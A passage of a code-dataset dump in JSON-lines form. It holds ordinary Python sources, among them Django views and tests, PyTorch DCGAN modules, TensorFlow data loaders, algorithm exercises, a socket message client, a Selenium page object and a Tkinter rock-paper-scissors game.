include('file_manager.urls')),\n\t\t\t\t\t\t\turl(r'^feedback/', include('feedback.urls')),\n\n\t\t\t\t\t\t\turl(r'^upload$', 'images.views.upload', name='image-upload'),\n\n\t)\nelse:\n\turlpatterns += patterns('',\n url(r'^$', 'USEmbassy_backend.views.landing_page', name='landing-page'),\n )\n\nif settings.DEBUG:\n\turlpatterns += patterns('',\n\t\t\t\t\t\t\t\t(r'^media/(?P.*)$', 'django.views.static.serve',\n\t\t\t\t\t\t\t\t\t{'document_root': settings.MEDIA_ROOT}),\n\t)\n\turlpatterns += staticfiles_urlpatterns()\n","repo_name":"USStateDept/ConsularGuidePL_CMS","sub_path":"USEmbassy_backend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"44214293694","text":"import torch\nimport torch.nn as nn\n\nfrom collections import OrderedDict\n\n\nclass NetG(nn.Module):\n \"\"\"\n NetG DCGAN Generator. Outputs 64x64 images.\n \"\"\"\n\n def __init__(\n self,\n z_dim=100,\n out_ch=3,\n norm_layer=nn.BatchNorm2d,\n final_activation=None,\n ):\n super().__init__()\n self.z_dim = z_dim\n self.out_ch = out_ch\n self.final_activation = final_activation\n\n self.net = nn.Sequential(\n # * Layer 1: 1x1\n nn.ConvTranspose2d(self.z_dim, 512, 4, 1, 0, bias=False),\n norm_layer(512),\n nn.ReLU(),\n # * Layer 2: 4x4\n nn.ConvTranspose2d(512, 256, 4, 2, 1, bias=False),\n norm_layer(256),\n nn.ReLU(),\n # * Layer 3: 8x8\n nn.ConvTranspose2d(256, 128, 4, 2, 1, bias=False),\n norm_layer(128),\n nn.ReLU(),\n # * Layer 4: 16x16\n nn.ConvTranspose2d(128, 64, 4, 2, 1, bias=False),\n norm_layer(64),\n nn.ReLU(),\n # * Layer 5: 32x32\n nn.ConvTranspose2d(64, self.out_ch, 4, 2, 1, bias=False),\n # * Output: 64x64\n )\n\n def forward(self, x):\n x = self.net(x)\n return (\n x if self.final_activation is None else self.final_activation(x)\n )\n\n\nclass NetD(nn.Module):\n def __init__(\n self, in_ch=3, norm_layer=nn.BatchNorm2d, final_activation=None\n ):\n super().__init__()\n self.in_ch = in_ch\n self.final_activation = final_activation\n\n self.net = nn.Sequential(\n # * 64x64\n nn.Conv2d(self.in_ch, 64, 4, 2, 1, bias=False),\n nn.LeakyReLU(0.2),\n # * 32x32\n nn.Conv2d(64, 128, 4, 2, 1, bias=False),\n norm_layer(128, affine=True),\n nn.LeakyReLU(0.2),\n # * 16x16\n nn.Conv2d(128, 256, 4, 2, 1, bias=False),\n norm_layer(256, affine=True),\n nn.LeakyReLU(0.2),\n # * 8x8\n nn.Conv2d(256, 512, 4, 2, 1, bias=False),\n norm_layer(512, affine=True),\n nn.LeakyReLU(0.2),\n # * 4x4\n nn.Conv2d(512, 1, 4, 1, 0, bias=False),\n )\n\n def forward(self, x):\n x = self.net(x)\n return (\n x if self.final_activation is None else self.final_activation(x)\n )\n","repo_name":"aadhithya/gan-zoo-pytorch","sub_path":"models/modules/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"48"} +{"seq_id":"73104068304","text":"# -*- coding: utf-8 -*-\n__author__ = 'yi.liu'\n\n\nclass Solution:\n def characterReplacement(self, s: str, k: int) -> int:\n start = end = 0\n char_list = [0 for _ in range(26)]\n position_a = ord('A')\n while len(s) > end:\n char_list[ord(s[end]) - position_a] += 1\n # 窗口长度大于 可替换次数与重复最多字母的次数,\n # 此时不能进行替换,说明可以右移,增加窗口长度\n if sum(char_list) > (k + max(char_list)):\n char_list[ord(s[start]) - position_a] -= 1\n start += 1\n end += 1\n # 当我们找到一个最大的窗口之后,\n # 之后的每一次操作都是移动此窗口\n # 所以窗口长度就是我们的最大长度\n return end - start\n\n\nif __name__ == '__main__':\n print(Solution().characterReplacement(\"SAFSSJKFJKKWQRSS\", 2))\n","repo_name":"FireinDark/leetcode_practice","sub_path":"424_longest_string_after_replace.py","file_name":"424_longest_string_after_replace.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73971119506","text":"import heapq\ndef solution(N, road, K):\n result=[int(1e9)]*(N+1)\n array=[[] for _ in range(N+1)]\n q=[]\n heapq.heappush(q,(0,1))\n for a,b,c in road:\n array[a].append((b,c))\n array[b].append((a,c))\n result[1]=0\n while q:\n dist,now=heapq.heappop(q)\n if result[now]dist+b:\n result[a]=dist+b\n heapq.heappush(q,(result[a],a))\n result=sorted(result[1:])\n count=0\n for i in result:\n if i>K:\n break\n count+=1\n return count","repo_name":"Yoo-sumi/Programmers","sub_path":"코딩테스트 연습/2단계/배달.py","file_name":"배달.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71305716945","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework.test import APIClient\n\nfrom todo.models import Task\n\nclass TaskTestCase(TestCase):\n def setUp(self):\n self.client = APIClient()\n self.sample_task1 = {\n \"title\": \"Shop for groceries\",\n \"description\": \"Buy red bell pepper, chickpeas, yellow onion\",\n \"completed\": False\n }\n\n self.sample_task2 = {\n \"title\": \"Make soup\",\n \"description\": \"Roast pepper and chickpeas, sautee onion, add stock\",\n \"completed\": False\n }\n\n def test_create_task(self):\n response = self.client.post(reverse('task-list'), self.sample_task1, format='json')\n self.assertEqual(response.status_code, 201)\n\n def test_delete_task(self):\n t1 = Task.objects.create(**self.sample_task1)\n\n response = self.client.delete(reverse('task-detail', args=[t1.pk]))\n self.assertEqual(response.status_code, 204)\n\n def test_list_tasks(self):\n t1 = Task.objects.create(**self.sample_task1)\n t2 = Task.objects.create(**self.sample_task2)\n\n response = self.client.get(reverse('task-list'))\n response_titles = set([i.get('title') for i in response.json()])\n expected_titles = set([self.sample_task1['title'], self.sample_task2['title']])\n self.assertEqual(response_titles, expected_titles)\n\n def test_retrieve_task(self):\n t1 = Task.objects.create(**self.sample_task1)\n\n response = self.client.get(reverse('task-detail', args=[t1.pk]))\n self.assertEqual(response.json().get(\"title\"), self.sample_task1['title'])\n","repo_name":"juliamullen/palletfly","sub_path":"todo/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24844340903","text":"\"\"\"\nImagine there are eight houses in a row, each with their light on or their light off on day n.\nOn day n + 1, a house will turn its lights on if either both neighbors had their lights on or both neighbors\nhad their lights off on the previous day. The two houses on the left end has no neighbor to its left and the\nhouse on the right end has no neighbor to its right, so on day n+1 they will only turn their light on if on day\nn their neighbor had their light off.\n\nWrite a function which determines the state of the lights on a specified day.\n\nThe functions input is a number which represents the day to determine the state of the lights and an initial state\nof the lights represented as an array of 1s and 0s.\n\nFor example:\ndef get_lights_for_day(10, [0,0,1,1,0,1,0,0]\n\nOutput should be an array of 1s and 0s which represent the state of the lights on day n.\n\nFor an explanation of this solution, visit https://medium.com/analytics-vidhya/interview-question-neighbors-lights-7b7940dd36f6\n\"\"\"\nimport functools\n\n\ndef get_lights_for_day_n(day, lights):\n light_sequence = functools.reduce(lambda a, b: (a << 1) | b, lights)\n\n while day > 0:\n left_shift = light_sequence << 1\n right_shift = light_sequence >> 1\n light_sequence = ((left_shift & right_shift) | ((left_shift | right_shift) ^ 0xFF))\n day -= 1\n\n return list(map(lambda n: int(n), \"{0:08b}\".format(light_sequence)))\n","repo_name":"jcampos8782/codingz","sub_path":"py/lighting_sequence.py","file_name":"lighting_sequence.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32905845882","text":"#-*- coding:utf-8 -*-\nfrom os.path import exists,join\nimport os\nfrom skimage import io\nimport tensorflow as tf\nimport numpy as np\n\nfrom utils import *\n\ndef make_datasets_from_memory(datasets,labelsets,epoch,batch_size,data_num=None, preprocess=None):\n if data_num == None:\n data_num = batch_size*10\n dataset = tf.data.Dataset.from_tensor_slices((datasets,labelsets))\n if not preprocess==None:\n dataset = dataset.map(preprocess)\n dataset = dataset.shuffle(data_num).repeat(epoch).batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n x,y = iterator.get_next()\n return x,y\n\ndef make_datasets_from_mat(datapath,labelpath,epoch,batch_size,data_num=None, preprocess=None):\n if data_num == None:\n data_num = batch_size*10\n images = listdir_abspath(datapath)\n labels = listdir_abspath(labelpath)\n dataset = tf.data.Dataset.from_tensor_slices((images, labels))\n\n dataset = dataset.map(\n lambda images, labels: tuple(tf.py_func(\n mat_to_tensor, [images, labels], [tf.double, tf.double])), num_parallel_calls=4)\n\n # pre-process\n if not preprocess==None:\n dataset = dataset.map(preprocess,num_parallel_calls=4)\n\n #produce batch\n dataset = dataset.shuffle(data_num)\n dataset = dataset.repeat(epoch)\n dataset = dataset.batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n x, y = iterator.get_next()\n\n return x,y\n\ndef make_datasets_from_image(datapath, labelpath, epoch, batch_size, mulitch=False, data_num=None, preprocess=None):\n '''\n A mulit-channels dataset shouled be like this:\n --datapath\n --1\n --data1.png\n --data2.png\n --...\n --2\n --data1.png\n --data2.png\n --...\n --labelpath\n --data1.png\n --data2.png\n --...\n '''\n if data_num == None:\n data_num = batch_size*10\n\n #single-channel data\n if not mulitch:\n data_list = listdir_abspath(datapath)\n label_list = listdir_abspath(labelpath)\n images = tf.constant(data_list)\n labels = tf.constant(label_list)\n dataset = tf.data.Dataset.from_tensor_slices((images, labels))\n dataset = dataset.map(fn_to_tensor,num_parallel_calls=4)\n\n # mulit-channels data\n else:\n data_list = listdir_abspath_mulitch(datapath) # [[1.png],[2.png],[3.png]...]\n label_list = listdir_abspath(labelpath) # [1.png, 2.png, 3.png...]\n images = tf.constant(data_list)\n labels = tf.constant(label_list)\n dataset = tf.data.Dataset.from_tensor_slices((images, labels))\n dataset = dataset.map(fn_to_tensor_mulitch, num_parallel_calls=4)\n\n #pre-process\n if not preprocess == None:\n dataset = dataset.map(preprocess, num_parallel_calls=4)\n\n #produce batch\n dataset = dataset.shuffle(data_num).repeat(epoch).batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n x,y = iterator.get_next()\n return x,y\n\ndef make_datasets_from_tfrecord(datapath, epoch, batch_size, data_num=None, preprocess=None):\n if data_num == None:\n data_num = batch_size*10\n\n dataset = tf.data.TFRecordDataset(datapath) # load tfrecord file\n dataset = dataset.map(tfrecord_reader, num_parallel_calls=4) # parse data into tensor\n\n # pre-process\n if not preprocess == None:\n dataset = dataset.map(preprocess, num_parallel_calls=4)\n\n # produce batch\n dataset = dataset.shuffle(data_num)\n dataset = dataset.repeat(epoch)\n dataset = dataset.batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n x, y = iterator.get_next()\n return x,y\n\ndef make_testsets_from_mat(datapath, crop_size=None, label=False):\n data_mat = matio.loadmat(datapath)['data']\n\n if not label:\n data_mat = np.expand_dims(data_mat, axis=0)\n\n if not crop_size==None:\n data_mat = tensor_to_patch(data_mat, crop_size)\n #out = tf.cast(out, format)\n return data_mat\n\nif __name__ == \"__main__\":\n import time\n datapath = 'data/train_data.tfrecords'\n labelpath = 'data/train/label'\n test_datapath = 'data/test/test_data_1.mat'\n\n # datapath = 'F:\\Python_code\\OLED_8_Rec\\oled_four_echo\\data\\demo_data\\single\\data'\n # labelpath = 'F:\\Python_code\\OLED_8_Rec\\oled_four_echo\\data\\demo_data\\single\\label'\n def pro_fn(x,y):\n x = tf.random_crop(x, [64, 64, 8],seed=1)\n y = tf.random_crop(y, [64, 64, 1],seed=1)\n #x = tf.image.random_flip_left_right(x)\n # x = tf.cast(x,tf.float32)\n # y = tf.cast(y,tf.float32)\n return x, y\n\n # x = make_datasets_from_mat(datapath, labelpath, epoch=2, batch_size=16, preprocess=pro_fn)\n test = make_testsets_from_mat(test_datapath, crop_size=64)\n x = make_datasets_from_tfrecord(datapath, epoch=2, batch_size=16, preprocess=pro_fn)\n\n with tf.Session() as sess:\n try:\n while True:\n time_start = time.time()\n xx = sess.run(x)\n print(xx[0].shape,xx[1].shape,test.shape)\n print('iteration')\n time_end = time.time()\n print('totally cost', time_end - time_start)\n except tf.errors.OutOfRangeError:\n print(\"end!\")","repo_name":"wjgxw/ogse","sub_path":"unet/Network_ori_d/libs/data_load.py","file_name":"data_load.py","file_ext":"py","file_size_in_byte":5301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37366223656","text":"from django.contrib import messages\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.db.models import Q\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.shortcuts import render, get_object_or_404, redirect\n\n# Create your views here.\nfrom .forms import PostForm\nfrom .models import Post\n\ndef post_create(request):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\n\tform = PostForm(request.POST or None, request.FILES or None)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\tinstance.save()\n\t\tmessages.success(request, \"Sucessfully Created\")\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\n\tcontext = {\n\t\t\"form\" : form,\n\t}\n\treturn render(request, \"post_form.html\", context)\n\ndef post_content(request, slug):\n\tinstance = get_object_or_404(Post, slug=slug)\n\tif instance.draft:\n\t\tif not request.user.is_staff or not request.user.is_superuser:\n\t\t\traise Http404\n\n\tcontext = {\n\t\t\"title\" : instance.title,\n\t\t\"instance\" : instance,\n\t}\n\treturn render(request, \"post_content.html\", context)\n\ndef post_list(request):\n\tqueryset_list = Post.objects.active().order_by(\"-timestamp\")\n\tif request.user.is_staff or request.user.is_superuser:\n\t\tqueryset_list = Post.objects.all().order_by(\"-timestamp\")\n\n\tquery = request.GET.get('q')\n\tif query:\n\t\tqueryset_list = queryset_list.filter(\n\t\t\tQ(title__icontains=query)|\n\t\t\tQ(user__first_name__icontains=query)|\n\t\t\tQ(user__last_name__icontains=query)\n\t\t\t).distinct().order_by(\"-timestamp\")\n\n\tpaginator = Paginator(queryset_list, 3)\n\n\tpage_request_var = \"page\"\n\tpage = request.GET.get(page_request_var)\n\t\n\ttry:\n\t\tqueryset = paginator.page(page)\n\texcept PageNotAnInteger:\n\t\tqueryset = paginator.page(1)\n\texcept EmptyPage:\n\t\tqueryset = paginator.page(paginator.num_pages)\n\n\tcontext = {\n\t\t\"object_list\" : queryset,\n\t\t\"title\" : \"List\",\n\t\t\"page_request_var\" : page_request_var,\n\t}\n\treturn render(request, \"post_list.html\", context)\n\ndef post_update(request, slug=None):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\n\tinstance = get_object_or_404(Post, slug=slug)\n\tform = PostForm(request.POST or None, request.FILES or None, instance=instance)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\tinstance.user = request.user\n\t\tinstance.save()\n\t\tmessages.success(request, \"Sucessfully Updated\")\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\tcontext = {\n\t\t\"title\" : instance.title,\n\t\t\"instance\" : instance,\n\t\t\"form\" : form,\n\t}\n\treturn render(request, \"post_form.html\", context)\n\ndef post_delete(request, slug=None):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\n\tinstance = get_object_or_404(Post, slug=slug)\n\tinstance.delete()\n\tmessages.success(request, \"Sucessfully Deleted\")\n\treturn redirect(\"posts:list\")\n","repo_name":"nerdyk3/locker-blog","sub_path":"src/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"22285222857","text":"# def my_find(haystack, needle):\n# \tfor index, letter in enumerate(haystack):\n# \t\tif letter == needle:\n# \t\t\treturn index\n# \treturn -1\n\n# haystack = \"Bananarama!\"\n# print(haystack.find('a'))\n# print(my_find(haystack, 'a'))\n\n#fileter practice\n# import math\n# def is_sqrt(n):\n# \tsq = int(math.sqrt(n))\n# \t# return isinstance(sq, int)\n# \treturn sq*sq == n\n\n# l = [x for x in range(1, 101)]\n# l_sq = list(filter(is_sqrt, l))\n# print(l_sq)\n\n\n# # sorted() Practice\n# L = [('Bob', 75), ('Adam', 92), ('Bart', 66), ('Lisa', 88)]\n# def by_name(t):\n# \treturn t[0]\n\n# def by_score(t):\n# \treturn t[1]\n\n# L_by_name = sorted(L, key=by_name)\n# L_by_score = sorted(L, key=by_score, reverse=True)\n\n# print(\"by_name:\\n{0}\".format(L_by_name))\n# print(\"by_score:\\n{0}\".format(L_by_score))\n\n# # Closure\n# return a counter function, return a incremental integer\n# def createCounter():\n# \tdef gt():\n# \t\tn = 0\n# \t\twhile True:\n# \t\t\tn += 1\n# \t\t\tyield n\n# \tg = gt()\n# \tdef counter():\n# \t\treturn next(g)\n\n# \treturn counter\n\ndef createCounter():\n\t# L[0] 相当于C语言里的指针\n\tL = [0]\n\tdef counter():\n\t\tL[0] += 1\n\t\treturn L[0]\n\treturn counter\n\n# 测试:\ncounterA = createCounter()\nprint(counterA(), counterA(), counterA(), counterA(), counterA()) # 1 2 3 4 5\ncounterB = createCounter()\nif [counterB(), counterB(), counterB(), counterB()] == [1, 2, 3, 4]:\n print('测试通过!')\nelse:\n print('测试失败!')\n\n\n\n","repo_name":"ultrasuper/LearnPython","sub_path":"playground/Think Python.py","file_name":"Think Python.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74946355665","text":"'''\nThe client queries, so this exits on read\n'''\nfrom .message import Message\nimport selectors\nimport socket\nimport struct\nimport pickle\n\nclass ClientMessage(Message):\n def __init__(self, selector, sock, addr, request=None):\n super().__init__(selector, sock, addr)\n self.logger.debug(f'Instance Created with request: {request}')\n self.response = request\n \n def write(self):\n if not self._response_queued:\n self._queue_response()\n if not self.outb:\n return\n\n self._write()\n\n if not self.outb:\n self.logger.debug(f'Writing Complete')\n self._response_queued = False\n\n def read(self):\n '''This reads and unpacks data from the socket'''\n self._read()\n\n if self._data_length is None:\n self.inb, self._data_length = self.get_data_length(self.inb)\n self.logger.debug(f'Package Length: {self._data_length}')\n\n if self._data_length is not None:\n self.logger.debug(f'Data Recieved {len(self.inb)}')\n if len(self.inb) >= self._data_length:\n self.in_data = self.decode(self.inb[:self._data_length])\n\n if self.in_data is not None:\n self.logger.debug(f'Decoded Package: {self.in_data}')\n self.logger.debug('Processing Response')\n self.process_response()\n self._close()\n","repo_name":"xkstein/MessageTools","sub_path":"msg_tools/message_client.py","file_name":"message_client.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17987194505","text":"from selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\n\nclass GoogleSearch:\n def __init__(self, driver):\n self.name = \"GoogleSearch\"\n self.driver = driver\n self.url = \"https://google.com\"\n self.elements = dict(search_input=\"lst-ib\",\n apps_btn=\"gbwa\",\n gmail_btn=\"gb23\")\n\n def google_search(self, search_term):\n \"\"\"\n Search for a specified term on Google.\n :return:\n \"\"\"\n self.driver.find_element_by_id(self.elements[\n \"search_input\"]).send_keys(\n search_term)\n self.driver.find_element_by_id(\n self.elements[\"search_input\"]).send_keys(\n u'\\ue007')\n\n def open_google_app(self, app):\n \"\"\"\n Opens a specified Google application.\n :param app: (string) google app to open\n :return:\n \"\"\"\n app_btn = WebDriverWait(self.driver, 20).until(\n EC.element_to_be_clickable((By.ID, self.elements[\n \"apps_btn\"])))\n app_btn.click()\n if app == \"gmail\":\n self.driver.find_element_by_id(self.elements[\"gmail_btn\"]).click()\n\n","repo_name":"kcarcia/selt-example","sub_path":"views/google_search.py","file_name":"google_search.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73261684945","text":"from tkinter import *\nimport random\nfrom tkinter import messagebox\n\n\n# --------------------- window ------------------------------------------------------------\nroot = Tk()\nroot.title('Rock Paper Scissors')\nroot.geometry('570x400')\nroot.config(bg='#FFFFF0')\nroot.iconbitmap(\"rock.ico\")\n\nframe = Frame(root, bg='#FFFFF0')\nframe.grid()\n\nrpsimage = PhotoImage(file='rps.png')\nLabel(frame, image=rpsimage).place(x=50, y=30)\n\nrps2image = PhotoImage(file='rps2.png')\nLabel(frame, image=rps2image).place(x=480, y=30)\n\n\n#------------------------------ points ----------------------------------------------------\n\npc_choice = ''\nplayer_choice = ''\nplayerpts = 0\npcpts = 0\npcchoicemarker = ''\n\n# ------------------------- pc choice --------------------------------------------------------\n\ndef rps_pc():\n global pc_choice\n global pcchoicemarker\n global pcpts\n global playerpts\n\n options = ['rock', 'paper', 'scissors']\n pc_choice = random.choice(options)\n\n if pcpts == 9:\n pcpts += 1\n pcscreen.set(pcpts)\n option = messagebox.askquestion('What a shame', \"I'm sorry, you lost!\\n\\nWanna play again? :)\")\n if option == \"no\":\n root.destroy()\n elif option == 'yes':\n pcpts = 0\n playerpts = 0\n playerscreen.set(playerpts)\n pcscreen.set(pcpts)\n else:\n if pc_choice == 'rock':\n pcchoicemarker = 'Rock ⪡'\n pcchoicescreen.set(pcchoicemarker)\n\n elif pc_choice == 'paper':\n pcchoicemarker = 'Paper ⪡'\n pcchoicescreen.set(pcchoicemarker)\n elif pc_choice == 'scissors':\n pcchoicemarker = 'Scissors ⪡'\n pcchoicescreen.set(pcchoicemarker)\n\n\n\n#------------------------- player => rock ---------------------------------------------------\n\ndef rock():\n rps_pc()\n global pc_choice\n global result\n global playerpts\n global pcpts\n global player_choice\n global pcchoicemarker\n\n if playerpts == 9:\n playerpts +=1\n playerscreen.set(playerpts) \n option = messagebox.askquestion('Congratulations', 'You are the champion!\\n\\n\\nWanna play again?')\n if option == \"no\":\n root.destroy()\n elif option == 'yes':\n pcpts = 0\n playerpts = 0\n playerscreen.set(playerpts)\n pcscreen.set(pcpts)\n else:\n if pc_choice == 'rock':\n result.set('𝐈𝐭𝐬 𝐚 𝐝𝐫𝐚𝐰 :/') \n player_choice = '➤ Rock'\n playerchoicescreen.set(player_choice)\n\n\n elif pc_choice == 'paper':\n result.set('𝐘𝐨𝐮 𝐥𝐨𝐬𝐭! :(') \n pcpts += 1\n pcscreen.set(pcpts)\n player_choice = '➤ Rock'\n playerchoicescreen.set(player_choice)\n\n elif pc_choice == 'scissors':\n result.set('𝗬𝗼𝘂 𝘄𝗼𝗻! :)') \n playerpts +=1\n playerscreen.set(playerpts)\n player_choice = '➤ Rock'\n playerchoicescreen.set(player_choice)\n \n\n\n#------------------------- player => paper ---------------------------------------------------\n\ndef paper():\n rps_pc()\n global pc_choice\n global result\n global playerpts\n global pcpts\n global player_choice\n\n if playerpts == 9:\n playerpts +=1\n playerscreen.set(playerpts) \n option = messagebox.askquestion('Congratulations', 'You are the champion!\\n\\n\\nWanna play again?')\n if option == \"no\":\n root.destroy()\n elif option == 'yes':\n pcpts = 0\n playerpts = 0\n playerscreen.set(playerpts)\n pcscreen.set(pcpts)\n \n else:\n if pc_choice == 'rock':\n result.set('𝗬𝗼𝘂 𝘄𝗼𝗻! :)') \n playerpts += 1 \n playerscreen.set(playerpts)\n player_choice = '➤ Paper'\n playerchoicescreen.set(player_choice)\n \n elif pc_choice == 'paper':\n result.set('𝐈𝐭𝐬 𝐚 𝐝𝐫𝐚𝐰 :/') \n player_choice = '➤ Paper'\n playerchoicescreen.set(player_choice)\n\n elif pc_choice == 'scissors':\n result.set('𝐘𝐨𝐮 𝐥𝐨𝐬𝐭! :(') \n pcpts += 1\n pcscreen.set(pcpts)\n player_choice = '➤ Paper'\n playerchoicescreen.set(player_choice)\n \n#------------------------- player => scissors ---------------------------------------------------\n\ndef scissors():\n rps_pc()\n global pc_choice\n global result\n global playerpts\n global pcpts\n global player_choice\n\n if playerpts == 9:\n playerpts +=1\n playerscreen.set(playerpts) \n option = messagebox.askquestion('Congratulations', 'You are the champion!\\n\\n\\nWanna play again?')\n if option == \"no\":\n root.destroy()\n elif option == 'yes':\n pcpts = 0\n playerpts = 0\n playerscreen.set(playerpts)\n pcscreen.set(pcpts)\n\n else:\n if pc_choice == 'rock':\n result.set('𝐘𝐨𝐮 𝐥𝐨𝐬𝐭! :(') \n pcpts += 1\n pcscreen.set(pcpts)\n player_choice = '➤ Scissors'\n playerchoicescreen.set(player_choice)\n\n elif pc_choice == 'paper':\n result.set('𝗬𝗼𝘂 𝘄𝗼𝗻! :)') \n playerpts += 1 \n playerscreen.set(playerpts)\n player_choice = '➤ Scissors'\n playerchoicescreen.set(player_choice)\n\n elif pc_choice == 'scissors':\n result.set('𝐈𝐭𝐬 𝐚 𝐝𝐫𝐚𝐰 :/') \n player_choice = '➤ Scissors'\n playerchoicescreen.set(player_choice)\n\n\n\n# -------------------- title -----------------------------------------------------------------\n\n\ntitle = Label(frame, text=\"𝙇𝙚𝙩'𝙨 𝙥𝙡𝙖𝙮 𝙍𝙤𝙘𝙠, 𝙋𝙖𝙥𝙚𝙧, 𝙎𝙘𝙞𝙨𝙨𝙤𝙧𝙨 !\", bg='#FFFFF0', font=(26))\ntitle.grid(padx=80, pady=8, columnspan=20)\n\n\n# -------------------player name -------------------------------------------------------------------\n\ndef play(n):\n a = StringVar()\n a.set(n)\n Label(frame, textvariable=a, font=('Times New Roman', 20), bg='#FFFFF0').grid(row=4, column=1, padx=10, pady=10)\n \n\n# name label\nname = Label(frame, text='Name: ', bg='#FFFFF0')\nname.grid(row=1, column=2)\n\n# boxtext name\nboxname = Entry(frame, bg=\"#FFEFD5\")\nboxname.grid(row=1, column=3)\n\nnombre = boxname.get()\nn = StringVar()\nn.set(nombre)\n\n\n# play button\nconfirm = Button(frame, text='Play', command=lambda:play(boxname.get()), width=5, bg=\"#FFEFD5\")\nconfirm.grid(row=1, column=4, pady=10, padx=10)\n\n\n\nLabel(frame, text='▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒', bg='#FFFFF0', fg='#BC8F8F').grid(row=3, column=0, columnspan=100)\n\n\n\n#-------------------------- player options ---------------------------------------------------\n\n\nrockimage = PhotoImage(file='rock.png')\nrockbutton = Button(frame, image=rockimage, bg='#FFFFF0', command=rock)\nrockbutton.grid(row=5, column=1, pady=15)\n\npaperimage = PhotoImage(file='paper.png')\npaperbutton = Button(frame, image=paperimage, bg='#FFFFF0', command=paper)\npaperbutton.grid(row=7,column=1, padx=20, pady=20)\n\nscissorsimage = PhotoImage(file='scissors.png')\nscissorsbutton = Button(frame, image=scissorsimage, bg='#FFFFF0', command=scissors)\nscissorsbutton.grid(row=7,column=2, padx=5, pady=5)\n\n\n\n#-------------------------- pc options ---------------------------------------------------\n\npc = Label(frame, text='PC', bg='#FFFFF0', font=('Times New Roman', 20))\npc.grid(row=4, column=10, padx=10, pady=10)\n\nrockpcimage = PhotoImage(file='rock.png')\nrockpc = Button(frame, image=rockpcimage, bg='#FFFFF0', state=DISABLED)\nrockpc.grid(row=5, column=10, pady=15)\n\npaperpcimage = PhotoImage(file='paper.png')\npaperpc = Button(frame, image=paperimage, bg='#FFFFF0', state=DISABLED)\npaperpc.grid(row=7,column=10, padx=20, pady=20)\n\nscissorspcimage = PhotoImage(file='scissors.png')\nscissorspc = Button(frame, image=scissorsimage, state=DISABLED, bg='#FFFFF0')\nscissorspc.grid(row=7,column=6, padx=5, pady=5)\n\n\n# ----------------------------- marker --------------------------------------------------\n\n# result\nresult = StringVar()\nresult.set('Good luck!')\nmsj = Label(frame, textvariable=result, bg='#FFFFF0', font=('bold', 14))\nmsj.place(x=230, y=130)\n\n# msj\nten = Label(frame, text='| 10 points to win |', bg='#FFFFF0')\nten.place(x=225, y=170)\n\n\n# player points\nplayerscreen = StringVar()\nplayerscreen.set(playerpts)\nLabel(frame, textvariable=playerscreen, bg='#FFFFF0', font=('Times New Roman',24)).place(x=140, y=210)\n\n\n# pc points\npcscreen = StringVar()\npcscreen.set(pcpts)\nLabel(frame, textvariable=pcscreen, bg='#FFFFF0', font=('Times New Roman',24)).place(x=410, y=210)\n\n\n# player choice\nplayerchoicescreen = StringVar()\nplayerchoicescreen.set(player_choice)\nLabel(frame, textvariable=playerchoicescreen, bg=\"#FFFFF0\", font=('Times New Roman',20)).place(x=200, y=210)\n\n\n# pc choice\npcchoicescreen = StringVar()\npcchoicescreen.set(pcchoicemarker)\nLabel(frame, textvariable=pcchoicescreen, bg=\"#FFFFF0\", font=('Times New Roman',20)).place(x=260, y=300)\n\n\ndef close():\n root.quit()\n\n\n# exit\nexit = Button(frame, text='Exit', command=close, width=4, bg='#FFEFD5')\nexit.place(x=260, y=350)\n\n\nroot.mainloop()\n\n","repo_name":"EstebanGranja/random-programs","sub_path":"rockpaperscissors/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42897191752","text":"from cgitb import text\r\nfrom email import message\r\nfrom operator import mod\r\nimport string\r\nfrom tkinter import messagebox\r\nfrom Connect import *\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import 